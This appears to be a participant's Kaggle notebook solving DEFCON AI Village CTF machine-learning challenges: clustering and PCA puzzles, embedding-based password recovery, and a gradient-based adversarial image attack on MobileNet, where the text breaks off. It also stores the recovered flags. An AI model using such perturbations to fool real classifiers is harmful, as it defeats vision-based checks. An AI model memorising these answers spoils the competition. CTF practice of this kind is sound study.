{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"markdown","source":"# CTF Template\n\nWelcome to the DEFCON AI Village Capture-the-Flag (CTF). Feel free to copy this notebook and use it as the foundation for your submissions.\n\n## Intro\n\nHelp Henry Hacker get to Homecoming! In this series of challenges, you'll be interacting with various machine learning challenges. You're welcome to use this notebook as a template, but can also use any other resources. `Submission Helper` code is just there to show you how to interact with a challenge. You're encouraged to write your own code. There are no fake flags, so if you're returned a 256 character-long string, you found it! Collect those flags, add them next to their corresponding challenge in `solution.csv` (provided) and submit them to the scoreboard. We've provided an `add_flag()` function to help with this. There's no limit to how many times you try the challenges, but you can only submit `solution.csv` to the scoreboard 50 times per day. \n\nCTF's are inherently puzzles that are intended to challenge you and help you learn new things. Sometimes they may be a little ambiguous or misleading. That's part of the challenge! However, if you feel like a challenge or piece of infrastructure isn't working correctly, contact the organizers through the Kaggle discussion board or the discord channel.","metadata":{}},{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nimport pickle\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19","execution":{"iopub.status.busy":"2022-08-27T10:39:01.288551Z","iopub.execute_input":"2022-08-27T10:39:01.289094Z","iopub.status.idle":"2022-08-27T10:39:03.497339Z","shell.execute_reply.started":"2022-08-27T10:39:01.288992Z","shell.execute_reply":"2022-08-27T10:39:03.496413Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n    try:\n        submission_path = \"/kaggle/working/submission.csv\"\n        template_path = f\"{dir_name}/submission.csv\"\n        if not os.path.isfile(submission_path) :\n            shutil.copyfile(template_path, submission_path)\n        flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n        valid = flags.index.to_list()\n        if challenge_id in valid:\n            flags.at[challenge_id] = flag\n            flags.to_csv(submission_path)\n            print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n        else:\n            print(\"Invalid challenge_id\")\n    except:\n        print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:39:04.795091Z","iopub.execute_input":"2022-08-27T10:39:04.796607Z","iopub.status.idle":"2022-08-27T10:39:04.804166Z","shell.execute_reply.started":"2022-08-27T10:39:04.796556Z","shell.execute_reply":"2022-08-27T10:39:04.803316Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTDOG (id: hotdog) -- 200 Points\n\n### Scenario\n\nThis is Chester. He's heard of Hotdog/Not Hotdog, but really wants to be classified as a hot-dog (get it?).\n\n### Objective\n\nHelp Chester classify as a hotdog.","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/hotdog/chester.png')","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:46.092741Z","iopub.execute_input":"2022-08-19T12:07:46.093216Z","iopub.status.idle":"2022-08-19T12:07:46.128096Z","shell.execute_reply.started":"2022-08-19T12:07:46.093169Z","shell.execute_reply":"2022-08-19T12:07:46.126732Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image\nimport base64\nimport requests\nimport json\n\n\nIMAGE_DIMS = (224, 224)\n\nimg = Image.open(\"/kaggle/input/ai-village-ctf/hotdog/chester.png\")\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\nscore = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps(data))\nprint(score.content)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:46.13128Z","iopub.execute_input":"2022-08-19T12:07:46.13196Z","iopub.status.idle":"2022-08-19T12:07:46.673233Z","shell.execute_reply.started":"2022-08-19T12:07:46.131922Z","shell.execute_reply":"2022-08-19T12:07:46.672096Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (1200, 900)\n\nimg = Im.open(f\"{dir_name}/hotdog/chester.png\")\nimg = img.resize(IMAGE_DIMS)\n\nlip = img.crop((500, 600, 700, 800))\ndisplay(lip)\nlip=lip.resize((500,1000))\ndisplay(lip)\n\nfrom PIL import Image, ImageEnhance\n#read the image\n#im = Image.open(\"sample-image.png\")\n\n#image brightness enhancer\nenhancer = ImageEnhance.Brightness(img)\n\nfactor = 1.5\nimg = enhancer.enhance(factor)\n\ndisplay(img)\n\nimg=img.convert('RGB')\nfor i in range(1200):\n    for j in range(900):\n        r, g, b = img.getpixel((i, j))\n        if r>100 and g>100:\n            img.putpixel((i,j),(255, 255, 255))\n        else:\n            img.putpixel((i,j),(0, 0, 0))\n\n\ndisplay(img)\n\n#PIL.ImageColor.getrgb(color)\n#print(img.getcolors())\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n#Image.getcolors(maxcolors=256)[source]\ntry:\n    r = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:46.674782Z","iopub.execute_input":"2022-08-19T12:07:46.675229Z","iopub.status.idle":"2022-08-19T12:07:51.425223Z","shell.execute_reply.started":"2022-08-19T12:07:46.675185Z","shell.execute_reply":"2022-08-19T12:07:51.423884Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image\nimport base64\nimport requests\nimport json\n\n\nIMAGE_DIMS = (224, 224)\n\nimg = Image.open(\"../input/hotdog-nothotdog/hotdog-nothotdog/hotdog-nothotdog/train/hotdog/10.jpg\")\nimg = img.resize(IMAGE_DIMS)\ndisplay(img)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\nscore = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps(data))\nprint(score.content)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:51.427163Z","iopub.execute_input":"2022-08-19T12:07:51.427643Z","iopub.status.idle":"2022-08-19T12:07:51.94703Z","shell.execute_reply.started":"2022-08-19T12:07:51.427597Z","shell.execute_reply":"2022-08-19T12:07:51.94571Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#b'{\"output\": [\"window_shade\", 0.2013]}'","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:51.949407Z","iopub.execute_input":"2022-08-19T12:07:51.950308Z","iopub.status.idle":"2022-08-19T12:07:51.9546Z","shell.execute_reply.started":"2022-08-19T12:07:51.950251Z","shell.execute_reply":"2022-08-19T12:07:51.953395Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotdog\", \"I4OW5M4A910OU5}28X71FNXVFQAMWGQZZAPOAJX8CLMILSCRWX5H0EVWD2FZIKRSWULBH61T7L0KYEZ37TLJFOANTSITE5GSZEGATG3PYZDVGPXEY5NZFODQZ3V{XRXS\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:51.956239Z","iopub.execute_input":"2022-08-19T12:07:51.957327Z","iopub.status.idle":"2022-08-19T12:07:51.989372Z","shell.execute_reply.started":"2022-08-19T12:07:51.957289Z","shell.execute_reply":"2022-08-19T12:07:51.988255Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math\n\nThis series of \"Math\" challenges is designed to introduce the concepts of dimensionality.\n\nData is often represented in a high dimensional space, but is actually several intrinsically low dimensional components that can be diagnosed. Intrinsic low-dimensionailty is incredibly important to machine learning because many ML algorithms rely on it. Medical EKG data is as single intrinsically 2 dimensional component, despite often being represented as 100 dimensions or more. The classic MNIST dataset is several components of 8-10 dimensions, depending on the digits class, despite being represented in 784 dimensions. The 4 math challenges are focused on this problem. **If you need a hint, ask Sven at the Art Booth.**","metadata":{}},{"cell_type":"markdown","source":"# Math Challenge 1 (id: math_1) -- 100 Points\n\nHow many clusters are in the clusters1.npy, clusters2.npy, and clusters3.npy? The key is the number of clusters in order, with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"c=np.load('../input/ai-village-ctf/math/clusters1.npy')\nc","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:51.991063Z","iopub.execute_input":"2022-08-19T12:07:51.991398Z","iopub.status.idle":"2022-08-19T12:07:52.004392Z","shell.execute_reply.started":"2022-08-19T12:07:51.991368Z","shell.execute_reply":"2022-08-19T12:07:52.003152Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\n\n#https://www.geeksforgeeks.org/determining-the-number-of-clusters-in-data-mining/\n# determining number of clusters\n# using silhouette score method\nfor s in ['../input/ai-village-ctf/math/clusters1.npy','../input/ai-village-ctf/math/clusters2.npy','../input/ai-village-ctf/math/clusters3.npy']:\n    dataset_new=np.load(s)\n    limit = int((dataset_new.shape[0]//2)**0.5)\n    for k in range(2, limit+1):\n        model = KMeans(n_clusters=k)\n        model.fit(dataset_new)\n        pred = model.predict(dataset_new)\n        score = silhouette_score(dataset_new, pred)\n        print('Silhouette Score for k = {}: {:<.3f}'.format(k, score))\n","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:52.008264Z","iopub.execute_input":"2022-08-19T12:07:52.008627Z","iopub.status.idle":"2022-08-19T12:07:53.805768Z","shell.execute_reply.started":"2022-08-19T12:07:52.008596Z","shell.execute_reply":"2022-08-19T12:07:53.804157Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#by observation, looks like 5,2,3 have the highest k scores. ","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:53.810639Z","iopub.execute_input":"2022-08-19T12:07:53.811409Z","iopub.status.idle":"2022-08-19T12:07:53.818893Z","shell.execute_reply.started":"2022-08-19T12:07:53.811351Z","shell.execute_reply":"2022-08-19T12:07:53.816781Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_1\", \"submission\": \"523\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:53.820806Z","iopub.execute_input":"2022-08-19T12:07:53.822129Z","iopub.status.idle":"2022-08-19T12:07:53.928909Z","shell.execute_reply.started":"2022-08-19T12:07:53.822083Z","shell.execute_reply":"2022-08-19T12:07:53.927367Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#MATH ONE IS DONE.","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:53.931051Z","iopub.execute_input":"2022-08-19T12:07:53.932307Z","iopub.status.idle":"2022-08-19T12:07:53.937375Z","shell.execute_reply.started":"2022-08-19T12:07:53.932261Z","shell.execute_reply":"2022-08-19T12:07:53.936154Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_1\", \"ZNWN5D2IH1W5MAOBL8F977YJPJ5{H10EEG6WA9LQAMO269T6MU8LP119XT07VV03}CI0CDU3N7KJZ63CVJDL4YFGNCIZNOIQZCAVAC50L1PCC7UGZ5KWZTITB3GBDZX1\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:53.939025Z","iopub.execute_input":"2022-08-19T12:07:53.939396Z","iopub.status.idle":"2022-08-19T12:07:53.95427Z","shell.execute_reply.started":"2022-08-19T12:07:53.939363Z","shell.execute_reply":"2022-08-19T12:07:53.953091Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.decomposition import PCA\nimport numpy as np\ntkr=0\nfor s in ['../input/ai-village-ctf/math/first_dim1.npy','../input/ai-village-ctf/math/first_dim2.npy','../input/ai-village-ctf/math/first_dim3.npy']:\n    tkr+=1\n    d=np.load(s)\n    for z in range(2,len(d[0])):\n        pca = PCA(n_components=z)\n        pca.fit(d)\n        #PCA(n_components=z)\n        if(pca.explained_variance_ratio_[-1]<.001 and pca.explained_variance_ratio_[-2]>=.001):\n            print(tkr,z-1)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:53.9554Z","iopub.execute_input":"2022-08-19T12:07:53.957088Z","iopub.status.idle":"2022-08-19T12:07:54.00196Z","shell.execute_reply.started":"2022-08-19T12:07:53.957048Z","shell.execute_reply":"2022-08-19T12:07:54.000938Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 2 (id: math_2) -- 200 Points\n\nWhat's the dimensionality of the data in first_dim1.npy, first_dim2.npy, and first_dim3.npy? The key is the number of dimensions in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_2\", \"submission\": \"354\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.003558Z","iopub.execute_input":"2022-08-19T12:07:54.00472Z","iopub.status.idle":"2022-08-19T12:07:54.10284Z","shell.execute_reply.started":"2022-08-19T12:07:54.004677Z","shell.execute_reply":"2022-08-19T12:07:54.101922Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_2\", \"BPCSECGDU686GY3BFDDTGET8EL}E4I2X8QJ8BQ0UT6TK1B2CLK8AS74NAINME1EUA5ITBIHS4DFCOC7SX905HUGR2EAH9OVTA4OTFNDM2I235ZPQQ{Y5L12PAUC0HHFE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.1043Z","iopub.execute_input":"2022-08-19T12:07:54.104662Z","iopub.status.idle":"2022-08-19T12:07:54.115275Z","shell.execute_reply.started":"2022-08-19T12:07:54.104631Z","shell.execute_reply":"2022-08-19T12:07:54.114026Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 3 (id: math_3) -- 300 Points\n\nWhat's the dimensionality of the data in second_dim1.npy, second_dim2.npy, and second_dim3.npy? The key is the number of clusters in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"from sklearn.decomposition import PCA\nimport numpy as np\ntkr=0\n'''\nfor s in ['../input/ai-village-ctf/math/second_dim1.npy','../input/ai-village-ctf/math/second_dim2.npy','../input/ai-village-ctf/math/second_dim3.npy']:\n    dataset_new=np.load(s)\n    display(dataset_new)\n    limit = int((dataset_new.shape[0]//2)**0.5)\n    print(limit)\n    for k in range(2, limit+1):\n        model = KMeans(n_clusters=k)\n        model.fit(dataset_new)\n        pred = model.predict(dataset_new)\n        score = silhouette_score(dataset_new, pred)\n        print('Silhouette Score for k = {}: {:<.3f}'.format(k, score))\n'''\nfor s in ['../input/ai-village-ctf/math/second_dim1.npy','../input/ai-village-ctf/math/second_dim2.npy','../input/ai-village-ctf/math/second_dim3.npy']:\n    tkr+=1\n    d=np.load(s)\n    for z in range(2,len(d[0])):\n        pca = PCA(n_components=z)\n        pca.fit(d)\n        #PCA(n_components=z)\n        if(pca.explained_variance_ratio_[-1]<.001 and pca.explained_variance_ratio_[-2]>=.001):\n            print(tkr,z-1)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.116805Z","iopub.execute_input":"2022-08-19T12:07:54.117914Z","iopub.status.idle":"2022-08-19T12:07:54.148627Z","shell.execute_reply.started":"2022-08-19T12:07:54.117864Z","shell.execute_reply":"2022-08-19T12:07:54.147608Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_3\", \"submission\": \"474\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.150016Z","iopub.execute_input":"2022-08-19T12:07:54.150612Z","iopub.status.idle":"2022-08-19T12:07:54.252089Z","shell.execute_reply.started":"2022-08-19T12:07:54.150574Z","shell.execute_reply":"2022-08-19T12:07:54.251113Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(len('RS9TL9F7XHP7H3MG96NIVB9OC}{LM78QB7M7A5R37WDQWA6AE9VB05RQ57FY6MCSMFVGUQ9AOL3_T0Z61T7KALGIRNW9GJEAWVPJ1LJLGCZX7GKA3PETRTKWH6TM0DW8'))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.253401Z","iopub.execute_input":"2022-08-19T12:07:54.253972Z","iopub.status.idle":"2022-08-19T12:07:54.259322Z","shell.execute_reply.started":"2022-08-19T12:07:54.253938Z","shell.execute_reply":"2022-08-19T12:07:54.257956Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_3\", \"RS9TL9F7XHP7H3MG96NIVB9OC}{LM78QB7M7A5R37WDQWA6AE9VB05RQ57FY6MCSMFVGUQ9AOL3_T0Z61T7KALGIRNW9GJEAWVPJ1LJLGCZX7GKA3PETRTKWH6TM0DW8\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.261329Z","iopub.execute_input":"2022-08-19T12:07:54.262505Z","iopub.status.idle":"2022-08-19T12:07:54.276592Z","shell.execute_reply.started":"2022-08-19T12:07:54.262454Z","shell.execute_reply":"2022-08-19T12:07:54.275123Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 4 (id: math_4) -- 400 Points\n\nWhat's the dimensionality of the clusters in clusters1.npy? The key is the dimensions ordered by cluster size (smallest to largest), with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\n\n\ns = '../input/ai-village-ctf/math/clusters1.npy'\n\nd=np.load(s)\nprint(d.shape)\nmodel = KMeans(n_clusters=5)\nmodel.fit(d)\npred = model.predict(d)\nprint(pred)\n\n#p=[4 0 1 4 2 3 3 1 1 1]\n\nfor i in range(5):\n        di=d[pred==i,:]\n        #for z in range(1,len(di[0])-1):\n        pca = PCA(n_components=min(20,np.count_nonzero(pred == i)))\n        pca.fit(di)\n        #PCA(n_components=z)\n        #if(pca.explained_variance_ratio_[-1]<.001 and pca.explained_variance_ratio_[-2]>=.001):\n        print(str(i)+\":\")\n        print(np.count_nonzero(pred == i))\n        print(pca.explained_variance_ratio_)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.278254Z","iopub.execute_input":"2022-08-19T12:07:54.279439Z","iopub.status.idle":"2022-08-19T12:07:54.317967Z","shell.execute_reply.started":"2022-08-19T12:07:54.279371Z","shell.execute_reply":"2022-08-19T12:07:54.317018Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#1,3,4,2,0:order of clusters by cluster size #observe cluster size.\n\n#5,4,3,1,2 :dimensionality of clusters IN ORDER of ascending cluster size (observe when scores drop off for each cluster)\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_4\", \"submission\": \"54312\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.319645Z","iopub.execute_input":"2022-08-19T12:07:54.320867Z","iopub.status.idle":"2022-08-19T12:07:54.423786Z","shell.execute_reply.started":"2022-08-19T12:07:54.320802Z","shell.execute_reply":"2022-08-19T12:07:54.422775Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_4\", \"LNG4APG3N00BFEGAIVUT0FJSYS96LLW38JK}2ZT6YBYJ2UVZPVFTUWIPYJGA3SNVTSIAPORZXTD461MGNVE45V5N46KU5RPLZHC{MKFBPDS31AJDY3M4OKNXAJOCVAL0\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.426694Z","iopub.execute_input":"2022-08-19T12:07:54.427709Z","iopub.status.idle":"2022-08-19T12:07:54.440524Z","shell.execute_reply.started":"2022-08-19T12:07:54.427669Z","shell.execute_reply":"2022-08-19T12:07:54.439304Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(len(\"LNG4APG3N00BFEGAIVUT0FJSYS96LLW38JK}2ZT6YBYJ2UVZPVFTUWIPYJGA3SNVTSIAPORZXTD461MGNVE45V5N46KU5RPLZHC{MKFBPDS31AJDY3M4OKNXAJOCVAL0\"))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.441827Z","iopub.execute_input":"2022-08-19T12:07:54.442785Z","iopub.status.idle":"2022-08-19T12:07:54.448912Z","shell.execute_reply.started":"2022-08-19T12:07:54.442706Z","shell.execute_reply":"2022-08-19T12:07:54.447907Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WIFI (id: wifi) -- 200 Points\n\n### Scenario\n\nYou really need to check your email, unfortunately you don't know the password.  Fortunately, someone wrote it down.  Unfortunately, it's written down on a low-dimensional manifold embedded in a very high-dimensional space.  Check out the `wifi/Embedded characters.npz` file -- a list of tokens is given in the `tokens` key with their corresponding embeddings in the same order under the `embeddings` key -- and recover the password.\n\n### Objective\n\nThe password is your flag, like all others, it has the format `FLAG{something}`","metadata":{}},{"cell_type":"code","source":"b = np.load('../input/ai-village-ctf/wifi/Embedded_characters.npz')\n#display(b)\nlst = b.files\nembeddings=[]\ntokens=''\ntkr=0\nfor item in lst:\n    print(item)\n    print(b[item])\n    if tkr==0:\n        embeddings=b[item]\n    else:\n        tokens=b[item]\n    tkr+=1\n    #print(b[item].shape)\n    #print(len(b[item]))\n","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.450362Z","iopub.execute_input":"2022-08-19T12:07:54.45078Z","iopub.status.idle":"2022-08-19T12:07:54.485805Z","shell.execute_reply.started":"2022-08-19T12:07:54.450745Z","shell.execute_reply":"2022-08-19T12:07:54.484483Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"klappa=[]\nfor i in range(188):\n    #print(sum(list(embeddings[i])))\n    klappa.append(max(embeddings[i]))\n    embeddings[i]*=ord(str(tokens)[i])\nembeddings","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.487731Z","iopub.execute_input":"2022-08-19T12:07:54.490813Z","iopub.status.idle":"2022-08-19T12:07:54.512613Z","shell.execute_reply.started":"2022-08-19T12:07:54.490752Z","shell.execute_reply":"2022-08-19T12:07:54.511509Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"list1 = klappa\nlist2 = [i for i in str(tokens)]\nlist1, list2 = zip(*sorted(zip(list1, list2)))\n''.join(list2)\n","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.523726Z","iopub.execute_input":"2022-08-19T12:07:54.524166Z","iopub.status.idle":"2022-08-19T12:07:54.532991Z","shell.execute_reply.started":"2022-08-19T12:07:54.524131Z","shell.execute_reply":"2022-08-19T12:07:54.53177Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(len(embeddings))\nprint(len(embeddings[0]))\nprint(len(str(tokens)))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.534627Z","iopub.execute_input":"2022-08-19T12:07:54.535246Z","iopub.status.idle":"2022-08-19T12:07:54.543461Z","shell.execute_reply.started":"2022-08-19T12:07:54.535207Z","shell.execute_reply":"2022-08-19T12:07:54.541925Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"Q=str(tokens)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.546708Z","iopub.execute_input":"2022-08-19T12:07:54.547637Z","iopub.status.idle":"2022-08-19T12:07:54.553748Z","shell.execute_reply.started":"2022-08-19T12:07:54.547594Z","shell.execute_reply":"2022-08-19T12:07:54.552781Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"wifi\", \"submission\": \"FLAG{TURNED}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.555454Z","iopub.execute_input":"2022-08-19T12:07:54.556195Z","iopub.status.idle":"2022-08-19T12:07:54.657682Z","shell.execute_reply.started":"2022-08-19T12:07:54.55615Z","shell.execute_reply":"2022-08-19T12:07:54.656532Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"wifi\", \"024MKX8SN5NIEZY762FQ3SV6MFRBV4QKNWJUSQSMR4DXTFDT0DP3DPPQFV1OIGLUDLIGHYG9PE9RD1U}1Y545IMKTR7O52I1VI6YU5SN484{AEO4U7EVCXCSANXMUS0Y\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.659084Z","iopub.execute_input":"2022-08-19T12:07:54.660064Z","iopub.status.idle":"2022-08-19T12:07:54.670573Z","shell.execute_reply.started":"2022-08-19T12:07:54.660021Z","shell.execute_reply":"2022-08-19T12:07:54.669554Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTTERDOG (id: hotterdog) -- 400 Points\n\n### Scenario\n\nChester submitted himself in the \"most creative hotdog\" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.\n\n### Objective\n\nHelp Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.","metadata":{}},{"cell_type":"code","source":"'''\n#https://medium.com/@ageitgey/machine-learning-is-fun-part-8-how-to-intentionally-trick-neural-networks-b55da32b7196\n#https://gist.github.com/ageitgey/4e1342c10a71981d0b491e1b8227328b\n\n#by hacking around with the data from the unencrypted salt pickle, i worked out it was mobilnetv1, figured it was also a mobilnet being used in theft.\n#got the imagenet weighted mobilnet and used the gradient image modification method alluded to in the 2 above links \n#just swapping out the model and editting the image size. \n\nimport numpy as np\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications import mobilenet\nfrom tensorflow.keras import backend as K\nfrom PIL import Image\nimport tensorflow as tf\ntf.compat.v1.disable_eager_execution()\n\n# Load pre-trained image recognition model\nmodel = mobilenet.MobileNet()\n\n# Grab a reference to the first and last layer of the neural net\nmodel_input_layer = model.layers[0].input\nmodel_output_layer = model.layers[-1].output\n\n# Choose an ImageNet object to fake\n# The list of classes is available here: https://gist.github.com/ageitgey/4e1342c10a71981d0b491e1b8227328b\n# Class #859 is \"toaster\"\nobject_type_to_fake = 934\n\n# Load the image to hack\nimg = image.load_img(\"../input/ai-village-ctf/hotterdog/chester.png\", target_size=(224, 224))\noriginal_image = image.img_to_array(img)\n\n# Scale the image so all pixel intensities are between [-1, 1] as the model expects\noriginal_image /= 255.\noriginal_image -= 0.5\noriginal_image *= 2.\n\n# Add a 4th dimension for batch size (as Keras expects)\noriginal_image = np.expand_dims(original_image, axis=0)\n\n# Pre-calculate the maximum change we will allow to the image\n# We'll make sure our hacked image never goes past this so it doesn't look funny.\n# A larger number produces an image faster but risks more distortion.\nmax_change_above = original_image + 0.5\nmax_change_below = original_image - 0.5\n\n# Create a copy of the input image to hack on\nhacked_image = np.copy(original_image)\n\n# How much to update the hacked image in each iteration\nlearning_rate = 1\n\n# Define the cost function.\n# Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\ncost_function = model_output_layer[0, object_type_to_fake]\n\n# We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n# In this case, referring to \"model_input_layer\" will give us back image we are hacking.\ngradient_function = K.gradients(cost_function, model_input_layer)[0]\n    \n# Create a Keras function that we can call to calculate the current cost and gradient\ngrab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\ncost = 0.0\n\n# In a loop, keep adjusting the hacked image slightly so that it 